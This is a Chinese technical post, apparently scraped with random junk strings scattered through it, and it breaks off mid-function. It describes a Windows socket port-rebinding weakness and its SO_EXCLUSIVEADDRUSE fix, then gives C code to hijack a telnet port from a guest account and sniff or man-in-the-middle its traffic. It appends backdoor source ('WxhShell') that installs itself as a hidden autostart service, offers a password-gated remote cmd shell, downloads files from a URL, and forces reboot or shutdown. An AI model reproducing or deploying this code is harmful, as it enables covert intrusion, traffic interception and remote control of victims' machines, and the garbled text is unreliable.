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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E@b(1@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lg&t8FHa; gN"7be&J saddr.sin_family = AF_INET; $b mLu=9 =y!$/(H saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8Q'0h
m? (UxW; bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `V04\05 O`<KwUx ! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q?8|
[. \QCJ4}\CS 这意味着什么?意味着可以进行如下的攻击: _/tHD]um c-0#w= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T]c%!&^_ .~7FyLl$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N=7pK&NHSG <Pi|J-Y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w {3<{ ]'=)2
.} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1bn^.768l N <Xq]!
K- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +O?KNZ q}?4f*WC 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =D<PVGo9
c$yk s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TtTj28k7 )`(p9@,V #include 2|*JSU.I #include yL-YzF2 #include )`O~f_pIC #include M,\:<kNI DWORD WINAPI ClientThread(LPVOID lpParam); VL` z[|e @ int main() F}/S:(6LF2 { >E{";C) WORD wVersionRequested; ?b>,9A.Z DWORD ret; 4p,EBn9( WSADATA wsaData; S(*sw
0O@+ BOOL val; kTu[ y; SOCKADDR_IN saddr; `ux{;4q SOCKADDR_IN scaddr; /n{omx int err; gL*>[@RO SOCKET s; Ni-xx9)= SOCKET sc; mQ|v26R int caddsize; 67G?K;)e HANDLE mt; -7@/[9Gf`: DWORD tid; MS
81sN\d wVersionRequested = MAKEWORD( 2, 2 ); '6cWS'9" err = WSAStartup( wVersionRequested, &wsaData ); nz=GlO'[ if ( err != 0 ) { PuA9X[= printf("error!WSAStartup failed!\n"); |Sy<@oq return -1; eo?;`7 } DN-+osPi saddr.sin_family = AF_INET; gv-xm 1q:2\d] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lvBx\e;7P "8x8UgG saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Uyg5i[&X@ saddr.sin_port = htons(23); !h23cj+V if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x7!L{(E3 { Ez
fN&8E printf("error!socket failed!\n"); ^cP!\E-^ return -1; [S9K6%w_! } p93r'&Q val = TRUE; %,}A@H, //SO_REUSEADDR选项就是可以实现端口重绑定的 G\Cp7:j} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t(NI-UXBp { Oj3.q#)`Z printf("error!setsockopt failed!\n"); P3x= 8_# return -1; "/3'XOK| } [65`$x- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t^R][Ay& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Dwr)0nk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tl,.fjZn Wz49i9e+d if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )_syZ1j { 4:$4u@ ret=GetLastError(); eg\v0Y!rI printf("error!bind failed!\n"); la0BiLzb] return -1; B%)% } 5cL83FQh listen(s,2); Wuc S:8#| while(1) lYVz3p { r3&G)g=u caddsize = sizeof(scaddr); *4Thd:7 ` //接受连接请求 J%v=yBC2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eL10Q(;P` if(sc!=INVALID_SOCKET) z&#SPH* { `w#Oih!6A| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D/Z6C&/I if(mt==NULL) VRWAm>u { C%$edEi printf("Thread Creat Failed!\n"); Se:.4< break; J*yf2&lI5 } R&8Iz
yM } 3}TaF~ CloseHandle(mt); <k eVrCR } q8X feoUV closesocket(s); :1cV;gJ WSACleanup(); \\PjKAsh return 0; }iXDa?6% } 3KRd DWORD WINAPI ClientThread(LPVOID lpParam) ~("5yG { KyVQh8 SOCKET ss = (SOCKET)lpParam; {C 6=[ SOCKET sc; <C1H36p unsigned char buf[4096]; W]"zctE SOCKADDR_IN saddr; J`peX0Stl long num; Hu\B"fdS DWORD val; f/
?_ DWORD ret; /7aBDc-v //如果是隐藏端口应用的话,可以在此处加一些判断 b*;Si7- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 0t^M3+nc saddr.sin_family = AF_INET; r@72|:, saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *rM^;4Zt saddr.sin_port = htons(23); 1Ce@*XBU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hv`~?n)D66 { @oNH@a
j% printf("error!socket failed!\n"); Hbj,[$Jb return -1; Ff$L| } F |d\k Q val = 100; Lz`E;k^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *"+=K,#D { gy,ht3 ret = GetLastError(); :}Xll#.,m return -1; %7"q"A r[ } X\`_3= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wg7V-+@i { <>dT64R| ret = GetLastError(); -|J"s$yO4 return -1; ?zeJ#i } HFKfkAl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zjJ *n8l { HTVuStM8 printf("error!socket connect failed!\n"); I!^;8Pg closesocket(sc);
txJr; closesocket(ss); -l`f)0{ return -1; E[2m&3& } Of-Rx/ while(1) G^~k)6v=m { Z,RzN5eN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I~q#eO) //如果是嗅探内容的话,可以再此处进行内容分析和记录 "8c@sHk(w //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _a5d?Q9Z num = recv(ss,buf,4096,0); 7R`M,u~f2^ if(num>0) ~rlB'8j( send(sc,buf,num,0); hLI`If/+K else if(num==0) '= _/ 1F*q break; EqyeJq . num = recv(sc,buf,4096,0); z{[xze-f if(num>0) ?HTjmIb send(ss,buf,num,0); VO,!x~S! else if(num==0) "JVkVp[5D+ break; u6M.' } }E+!91't.^ closesocket(ss); P<PJ)> closesocket(sc); ,`wXg return 0 ; {G|,\O1 } ~J5+i9T.) @AKn@T5 `k=bL"T>\ ========================================================== 7Ilm{@b= XUM!Qv 下边附上一个代码,,WXhSHELL p`mS[bxv! r>dwDBE ========================================================== IYqBQnX}oM B||*.`3gN #include "stdafx.h" sC27FVwo 6,"IDH|ND #include <stdio.h> t2EHrji~ #include <string.h> INcg S MM #include <windows.h> *Nw&_<\9Q #include <winsock2.h> LG-y]4a} #include <winsvc.h> p%iGc<vHX #include <urlmon.h> UQ8M~x5$3% F
;{n"3< #pragma comment (lib, "Ws2_32.lib") +)k b( #pragma comment (lib, "urlmon.lib") 5 elw~u
~;O v-^tp #define MAX_USER 100 // 最大客户端连接数 IKABB W #define BUF_SOCK 200 // sock buffer 0FGe=$vD #define KEY_BUFF 255 // 输入 buffer uJOJ-5}yt j H19k}D #define REBOOT 0 // 重启 (2$(
?-M #define SHUTDOWN 1 // 关机 L/wD7/ODr `%CtWJ(e #define DEF_PORT 5000 // 监听端口 =fu
:@+
-%2[2p #define REG_LEN 16 // 注册表键长度 0*%Z's\M" #define SVC_LEN 80 // NT服务名长度 ^9^WuSq n_$
:7J // 从dll定义API -9"['-WH, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0h=NbLr|S- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |C"(K-do typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .^
djt typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &8$Gyu A{X:p3$eN // wxhshell配置信息 RC?gozBFJ struct WSCFG { XT+V> HI int ws_port; // 监听端口 pZHx char ws_passstr[REG_LEN]; // 口令 i[L5,%5<H int ws_autoins; // 安装标记, 1=yes 0=no d^h`gu~3 char ws_regname[REG_LEN]; // 注册表键名 W'lejOiw char ws_svcname[REG_LEN]; // 服务名 j}u b char ws_svcdisp[SVC_LEN]; // 服务显示名 X\&CQiPS char ws_svcdesc[SVC_LEN]; // 服务描述信息 S7a05NO char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >V1vw7Pa int ws_downexe; // 下载执行标记, 1=yes 0=no +guCTGD: char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" BPO)<bx_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :`Kv\w. X6 E^5m }; r c++c,= Ql>bsr} // default Wxhshell configuration x
Zp` struct WSCFG wscfg={DEF_PORT, gi {rqM "xuhuanlingzhe", k4T`{s}e 1, HE!"3S2S&+ "Wxhshell", *{y({J "Wxhshell", lC.Q61 J@ "WxhShell Service", >ElK8 "Wrsky Windows CmdShell Service", c o 8bnH "Please Input Your Password: ", hufpk y[&8 1, xQUskjv/ " http://www.wrsky.com/wxhshell.exe", @=<B8VPJd "Wxhshell.exe" g79zzi- }; Dc@OrQu VEsIhjQ // 消息定义模块 ]C'^&:&< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '8w}m8{y char *msg_ws_prompt="\n\r? for help\n\r#>"; GBYeiEgZh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; h;[<4zw char *msg_ws_ext="\n\rExit."; G22{',#r8 char *msg_ws_end="\n\rQuit."; %fuV] char *msg_ws_boot="\n\rReboot..."; Y~TD)c= char *msg_ws_poff="\n\rShutdown..."; Talmc|h char *msg_ws_down="\n\rSave to "; t7-6A icK>| char *msg_ws_err="\n\rErr!"; N?EeT}m _ char *msg_ws_ok="\n\rOK!"; K>2M*bGcp yQcIfl]f char ExeFile[MAX_PATH]; 4^Ke?;v int nUser = 0; HT:V;?" HANDLE handles[MAX_USER]; )TfX} int OsIsNt; Y{d-k1?s5 XvSng"f. SERVICE_STATUS serviceStatus; :u]QEZ@@ SERVICE_STATUS_HANDLE hServiceStatusHandle; +mPVI 5pU/X.lc // 函数声明 6e>P!bo int Install(void); j=dGNi)R int Uninstall(void); x,NV{uG$n int DownloadFile(char *sURL, SOCKET wsh); 4_P6P int Boot(int flag); f"z;' void HideProc(void); ~KQiNkA\|l int GetOsVer(void); p%R+ c int Wxhshell(SOCKET wsl); d`UK mj void TalkWithClient(void *cs); Q{|_"sfJ int CmdShell(SOCKET sock); )DGJr/) int StartFromService(void); mclV"? int StartWxhshell(LPSTR lpCmdLine); ~8&P*oFC y?V^S;}&] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oj/#wF+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); I5@8=rFk J#gG*( // 数据结构和表定义 KV)if' SERVICE_TABLE_ENTRY DispatchTable[] = e I9#JM|2 { bcgXpP {wscfg.ws_svcname, NTServiceMain}, l(9AwVoAR| {NULL, NULL} ]D&U}n }; Dz&,g+>$J "TI>_~ // 自我安装 %'uei4 int Install(void) /|8rVYSs { IczMf% char svExeFile[MAX_PATH]; xO^lE@a o HKEY key; }_BNi;H strcpy(svExeFile,ExeFile); nAC>']K4$ 2bOl`{x // 如果是win9x系统,修改注册表设为自启动 OZ33w-X< if(!OsIsNt) { GExr] 2r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ik](k"1{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^xgqs $`7 RegCloseKey(key); ,D'm#Fti if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8|(],NyEJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6RG63+G RegCloseKey(key); X~cdM1z? return 0; UhJ{MUH` } ][KlEE>W2 } LJ6l3)tpD } &=f?:UZ% else { :dQRrmM (d/!M
n6L // 如果是NT以上系统,安装为系统服务 .Cf!5[0E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cF_`QRtO if (schSCManager!=0) NG`Y{QT6N { 9)8Cf%<( SC_HANDLE schService = CreateService M.xZU\'ty ( R58NTPm schSCManager, x4/{XRQ wscfg.ws_svcname, %NfXe[T wscfg.ws_svcdisp, NMQG[py!f SERVICE_ALL_ACCESS, IMncl=1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fs:yx'mxV SERVICE_AUTO_START, V= - SERVICE_ERROR_NORMAL, Bd7B\zM svExeFile, sgDSl@lB NULL, y Z[=Y NULL, ]Y-Y.&b7t NULL, m)LI|
v NULL, fL#r@TB-s NULL q7<d|s ); {F2Rv if (schService!=0) )[J@s= { "M@&*<S CloseServiceHandle(schService); V0rQtxE{F CloseServiceHandle(schSCManager); .k-6LR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w@&z0ODJ strcat(svExeFile,wscfg.ws_svcname); M^Y[Y@U=p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8zpzVizDG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kc95yt RegCloseKey(key); x.Egl4b3 return 0; $8i`h}AM } E
N%{ $ } 39hep8+ CloseServiceHandle(schSCManager); XI ;] c5 } k*n~&y: O } ]{q=9DczG( [k>{q+MWK return 1; UWEegFq* } mI!iSVqr V8):! // 自我卸载 >zDQt7+g; int Uninstall(void) [5p 3:D { <" nWGF4d HKEY key; dqJ 8lU? E0Q6Ryn if(!OsIsNt) { bL`\l!qQx; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BO4;S/ O RegDeleteValue(key,wscfg.ws_regname); ~] V62^0 RegCloseKey(key); zn 0y`9!n? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (*P`
RegDeleteValue(key,wscfg.ws_regname); [ i,[^ RegCloseKey(key); LdH1sHy*d` return 0; ;l_b.z0^6 } 9#9bm } $*G3'G2'iS } yNXYS else { HEbL'fw^s vR:#g;mnk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ']eN4H&=?} if (schSCManager!=0) dp^PiyL { s`H|o'0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L=qhb;[L if (schService!=0) XWAIW=. { U`=r.> if(DeleteService(schService)!=0) { 3'kKbrk [ CloseServiceHandle(schService); &! h~UZ CloseServiceHandle(schSCManager); BHAFO E return 0; APF`b } 8 <;.[l CloseServiceHandle(schService); Bo8f52| } .<>t2,Af CloseServiceHandle(schSCManager); *5BVL_:~J } ?]Hs~n- } KTT!P 4 Jj[3rt?8 return 1; O0z-jZ,]) } T88$sD.2
' M !"Q7>d // 从指定url下载文件 4y+hr int DownloadFile(char *sURL, SOCKET wsh) d!: /n { GY-4w@Wl HRESULT hr; @w= =*.x char seps[]= "/"; "?6*W"N9 char *token; +qjZ;5( char *file; NiVLx_<Pr' char myURL[MAX_PATH]; =/|GWQj char myFILE[MAX_PATH]; u c!6?+0h )E=B;.FH strcpy(myURL,sURL); EJC}"%h token=strtok(myURL,seps); UdkNb}L while(token!=NULL) ;:[P/eg { @(a~p file=token; dfVI*5[Z token=strtok(NULL,seps); $aTo9{M ^ } bHSoQ \ wjX0r7^@ GetCurrentDirectory(MAX_PATH,myFILE); n~`jUML2d strcat(myFILE, "\\"); 8cY5:plK
strcat(myFILE, file); qfFa" a send(wsh,myFILE,strlen(myFILE),0); AX@bM send(wsh,"...",3,0); N/{=j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kp[&SKU
c if(hr==S_OK) mL}Wan return 0; $?kTS1I( else M-QQ return 1; JK^%V\m f~=e } &JLKHwi/ r
H9}VA:h // 系统电源模块 0[g5[?Vy int Boot(int flag) C\C*@9=&x { :Oj!J&A HANDLE hToken; |1OF!(: TOKEN_PRIVILEGES tkp; }VH`\g} A#~CZQY^$ if(OsIsNt) { &{M-<M OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f]Z9= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u`+kH8# tkp.PrivilegeCount = 1; 1?p:66WmR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M _Lj5` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >]\oVG if(flag==REBOOT) { 2rP!] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,+n{xI2 return 0; 1RQM-0W, } r`0oI66B/ else { .0y .0=l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v>Kv!OY:c return 0; OOus*ooo2 } ?y* yl } b Oh[(O! else { _B==S4^/yU if(flag==REBOOT) { gWjz3ob if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \xZ6+xZd1 return 0; #)%dG3)e } -Ze2]^#dl else { );z/
@Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l(tMo7iPa return 0; ~ln96*)M; } @F5QgO J&r } P<xCg +JFE\>O return 1; Q;p%
VQ } SC0_ h(zb, \G]vTK3 // win9x进程隐藏模块 =G/`r!r*0I void HideProc(void) >R6>*|~S { ];}7
%3 X9uYqvP\( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?[Qxq34 if ( hKernel != NULL ) O:O
+Q!58 { I9r> 3? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G`R2=bb8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L/J)OJe\ FreeLibrary(hKernel); IY9##&c3> } 9"k^:}8. :.EVvuXI return; 'St\$X
} .3T#:Hl {f)"F;]V // 获取操作系统版本 pSJc.j int GetOsVer(void) wTY8={p] {
PP)-g0^@ OSVERSIONINFO winfo; P"mD73a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !|S{e^WhbU GetVersionEx(&winfo); 41`&/9:"_M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) APu cA return 1; r$Ck:Q} else onAC;<w return 0; :s OsG&y } dg]: JU n$y)F} .- // 客户端句柄模块 tO^KCnL int Wxhshell(SOCKET wsl) t<2B3&o1 { ,] ,dOIOwn SOCKET wsh; /"<o""<] struct sockaddr_in client; !,< )y}L^) DWORD myID; wtw Lk|%2XGO& while(nUser<MAX_USER) ?N*|S)BN { noa=wy int nSize=sizeof(client); S @'fmjA' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9n${M:F if(wsh==INVALID_SOCKET) return 1; \{ui{8+G B@W`AD1^{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J,k|_JO if(handles[nUser]==0) JW4~Qwx closesocket(wsh); ]dKLzW:l else 3i'L5f67 nUser++; F#w=z/ } (hn@+hc WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,5_Hen=PI CN$wlhs return 0;
Wb/q&o } .(0'l@#fT Qf|=xV,F // 关闭 socket (gv1f void CloseIt(SOCKET wsh) Xk_xTzJ { VE<&0d< closesocket(wsh); _^<HlfOK nUser--; Ls#=R ExitThread(0); <=
xmJx-V } h98_6Dw(] (CRY$+d // 客户端请求句柄 n\#RI9#\ void TalkWithClient(void *cs) yk4Huq&2 { G.3qg% 9~^%v zM SOCKET wsh=(SOCKET)cs; %8 )GuxG* char pwd[SVC_LEN]; ^gwVh~j char cmd[KEY_BUFF]; OA\2ja~+ char chr[1]; Qo!/]\ int i,j; +)#d+@- MZGN,[~)6 while (nUser < MAX_USER) { 0jsU^m<g xHv<pza: if(wscfg.ws_passstr) { %C_RBd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~N+bD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2t3'"8xJ //ZeroMemory(pwd,KEY_BUFF); /;t42
g9w i=0; `c^ _5:euX while(i<SVC_LEN) { ;F@N2j#
#:{Bd8PS // 设置超时 FnN@W^/z fd_set FdRead; OAu?F}O struct timeval TimeOut; +1j@n.)ft FD_ZERO(&FdRead); M^\#(0^2@ FD_SET(wsh,&FdRead); ?u/Uov@rD TimeOut.tv_sec=8; *~F\k):> TimeOut.tv_usec=0; / c1=`OJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ? *I2?
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +$KUy>
7q>WO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b[<zT[.: pwd =chr[0]; >t|u 8/P if(chr[0]==0xd || chr[0]==0xa) { 6b9 oSY-8 pwd=0; SomA`y+ERn break; jTbJL } *{t{/^'y i++; &?m|PK) I } P9~7GFas| YGP.LR7 // 如果是非法用户,关闭 socket Az29?|e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9(>]6|XS } !424K-nW `+_UG^aeW send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Q,Fr;
B send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VP
H vdFy}#X while(1) { xSFY8 fZK&h. ZeroMemory(cmd,KEY_BUFF); ~|e?@3_G w%jc' ;| // 自动支持客户端 telnet标准 1Zc1CUMG j=0; LAG*H while(j<KEY_BUFF) { q:4 51 C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >U\,(VB cmd[j]=chr[0]; }eUeADbC if(chr[0]==0xa || chr[0]==0xd) { |QwX cmd[j]=0; ">vxYi break; iiS^xqSNCt } _5'OQ'P2 j++; L&$ X\\Lv^ } ~kUdHne( 8Fy$'Zx' // 下载文件 Pt~mpRlH if(strstr(cmd,"http://")) { a+!#cQl send(wsh,msg_ws_down,strlen(msg_ws_down),0); LaL.C^K if(DownloadFile(cmd,wsh)) d;`bX+K send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,7:_M>-3g else qkB)CY7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t_HS0rxG } .#zmX\a else { f\O)+Vc Ag1* .t| switch(cmd[0]) { 9 p6QNDp r|t;# // 帮助 t2Dx$vT*& case '?': { jE!<]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ))"J break; s[h& Uv"G } 40cgsRa| // 安装 <Z%iP{ case 'i': { / sI0{ if(Install()) Ipo?>To send(wsh,msg_ws_err,strlen(msg_ws_err),0); V?U->0>Z4 else `p`)D6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~e,k71 break; N yT|=`; } RUHQ]@d#T // 卸载 R*~<?}Rr case 'r': { ~Xi_bTAyAW if(Uninstall())
19a/E1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Qg.b-C else Vy-N3L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '^f,H1oW break; ?o'!(3`L } n_5m+
1N // 显示 wxhshell 所在路径 L'k) case 'p': { =C{)i@ + char svExeFile[MAX_PATH]; ;O=tSEe strcpy(svExeFile,"\n\r"); %Od?(m"& strcat(svExeFile,ExeFile); v;.7-9c* send(wsh,svExeFile,strlen(svExeFile),0); o.yuz+ break; KKm&~^c }
9?c0cwP? // 重启 Mx<V;GPm case 'b': {
nb}* IExd send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f\+MnZ4[Qj if(Boot(REBOOT)) ,f0|eu> send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.-{=kZ
else { 28qTC? closesocket(wsh); H^ _[IkuA% ExitThread(0); LGx]z.30B } yRt]i> break; 39| W(, } ZdbZ^DUR<( // 关机 ta`}}I case 'd': { _[ml<HW] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^2-2Jz@ if(Boot(SHUTDOWN)) wc7gOrPpm send(wsh,msg_ws_err,strlen(msg_ws_err),0); TVVL1wZ else { }Z5f5q closesocket(wsh); k<p$BZ ExitThread(0); 4/Ub%t- }
0BF'@r"; break; bt3v`q+V } k}T#-Gb // 获取shell 2pR+2p` case 's': { `I|$U)' CmdShell(wsh); (V2~txMh closesocket(wsh); K=|x"6\ ExitThread(0); !1
:%!7 break; QcBuUFf!c } px6[1'|g // 退出 6Y4sv5G case 'x': { $10"lM[ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,l-tLc CloseIt(wsh); kSJWXNC break; &'{6_-kh } 'Rbv3U // 离开 AlP}H~|M7 case 'q': { eXo7_# send(wsh,msg_ws_end,strlen(msg_ws_end),0); $yG>=GN closesocket(wsh); 64]_o/u5W4 WSACleanup(); W Z'UVUi8 exit(1); om6'%nXhn break; 3[mVPV } ~qFuS933 } :x"Q[079 } S ]_iobWK Ql`N)! // 提示信息 quXL'g if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7lQ@I}i } }HdibCAOf } klkshlk d U^aMh- return; v|DgRPY } {O24:'K& l/WQqT // shell模块句柄 u7Z-kZ int CmdShell(SOCKET sock) 3zC<k2B { Tj0qq . STARTUPINFO si; u!$+1fI> ZeroMemory(&si,sizeof(si)); 90Rz#qrI* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b+b]., si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #8xP,2&zf PROCESS_INFORMATION ProcessInfo; [wp(s2= char cmdline[]="cmd"; mdzUL
d5J CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -^C^3pms return 0; be^+X[ } -zn$h$N4 *@;Pns]L- // 自身启动模式 c,
IAz int StartFromService(void) @\ udaZc { _JEe] typedef struct -@=As00Bg { ~m`j=ot DWORD ExitStatus; 42E%&DF DWORD PebBaseAddress; = Ob-'Syg> DWORD AffinityMask; `i~kW DWORD BasePriority; o8uak*"{ ULONG UniqueProcessId; iX]tL:,~i ULONG InheritedFromUniqueProcessId;
r Uau?? } PROCESS_BASIC_INFORMATION; tfz"9PV80 _!qi`A PROCNTQSIP NtQueryInformationProcess; Y6+/_$N4| <m"fzT<" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OSu/!Iv\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t=(d, kf $kAal26 z HANDLE hProcess;
W!Qaa(o? PROCESS_BASIC_INFORMATION pbi; ZovF]jf k rt8"U<~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AHB_[i'>7 if(NULL == hInst ) return 0; IuV7~w (R^qY"H
